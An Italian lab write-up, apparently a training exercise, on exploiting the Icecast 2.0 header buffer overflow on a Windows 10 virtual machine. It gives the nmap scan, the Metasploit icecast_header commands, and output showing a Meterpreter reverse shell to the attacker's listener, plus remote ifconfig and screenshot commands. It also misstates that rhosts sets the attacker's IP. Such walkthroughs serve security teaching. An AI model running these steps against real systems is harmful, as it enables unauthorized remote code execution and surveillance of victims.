

Sessione Meterpeter ed Exploit Icecast

Windows 10

Cos'è Icecast

Icecast è un software di streaming audio, come musica e podcast, su internet. È comunemente utilizzato per configurare stazioni radio online.

Supporta vari formati audio, tra cui MP3.

La vulnerabilità di Icecast 2.0

L'exploit noto come **icecast_header** risiede in una gestione errata dell'header HTTP.

Sfrutta un **buffer overflow** causato dalla versione 2.0 di Icecast, che non controlla correttamente la dimensione dell'input nei campi header delle richieste HTTP.

Questo problema consente a un attaccante di inviare un **header HTTP** appositamente costruito, causando un overflow del buffer.

L'overflow permette all'attaccante di eseguire codice arbitrario sul server, potenzialmente ottenendo accesso completo al sistema.

Questa vulnerabilità è critica perché permette un **Remote Code Execution**, cioè l'esecuzione di codice remoto senza la necessità di un'autenticazione.

Sfruttamento della vulnerabilità

1. Scansioniamo la macchina vittima `nmap -sV` e verifichiamo le porte aperte e le versioni dei relativi servizi:

```
(kali㉿kali)-[~]  
$ nmap -sV 192.168.1.61  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-14 15:05 CET  
Nmap scan report for 192.168.1.61  
Host is up (0.00047s latency).  
Not shown: 997 closed tcp ports (reset)  
PORT      STATE SERVICE VERSION  
135/tcp   open  msrpc   Microsoft Windows RPC  
5357/tcp  open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)  
8000/tcp  open  http    Icecast streaming media server  
MAC Address: 00:0C:29:75:7A:6D (VMware)  
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.  
Nmap done: 1 IP address (1 host up) scanned in 18.51 seconds
```

2. Selezioniamo l'exploit `icecast_header` per creare la reverse shell:

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/http/icecast_header	2004-09-28	great	No	Icecast Header Overwrite

3. Impostiamo l'IP della macchina attaccante con `rhosts`. Dopodiché eseguiamo l'exploit con il comando `exploit`:

```
msf6 exploit(windows/http/icecast_header) > set rhosts 192.168.1.61  
rhosts => 192.168.1.61  
msf6 exploit(windows/http/icecast_header) > exploit  
  
[*] Started reverse TCP handler on 192.168.1.56:4444  
[*] Sending stage (177734 bytes) to 192.168.1.61  
[*] Meterpreter session 1 opened (192.168.1.56:4444 -> 192.168.1.61:49709) at  
2024-11-14 14:39:48 +0100
```

4. Una volta attiva la reverse shell, possiamo verificare la connessione con la macchina vittima facendo **ifconfig**. Ci comunicherà l'IP della macchina vittima.

```
meterpreter > ifconfig

Interface 1
=====
Name       : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU        : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 5
=====
Name       : Intel(R) 82574L Gigabit Network Connection
Hardware MAC : 00:0c:29:75:7a:6d
MTU        : 1500
IPv4 Address : 192.168.1.61
IPv4 Netmask : 255.255.255.0
```

5. A questo punto possiamo eseguire diversi comandi sulla macchina vittima. In questo esercizio faremo uno screenshot alla schermata della vittima con il comando **screenshot**.

```
meterpreter > screenshot
Screenshot saved to: /home/kali/mDKncQWs.jpeg
meterpreter > █
```

6. Kali salverà lo screenshot all'interno della nostra macchina e potremo visualizzarlo. Eccolo qua!

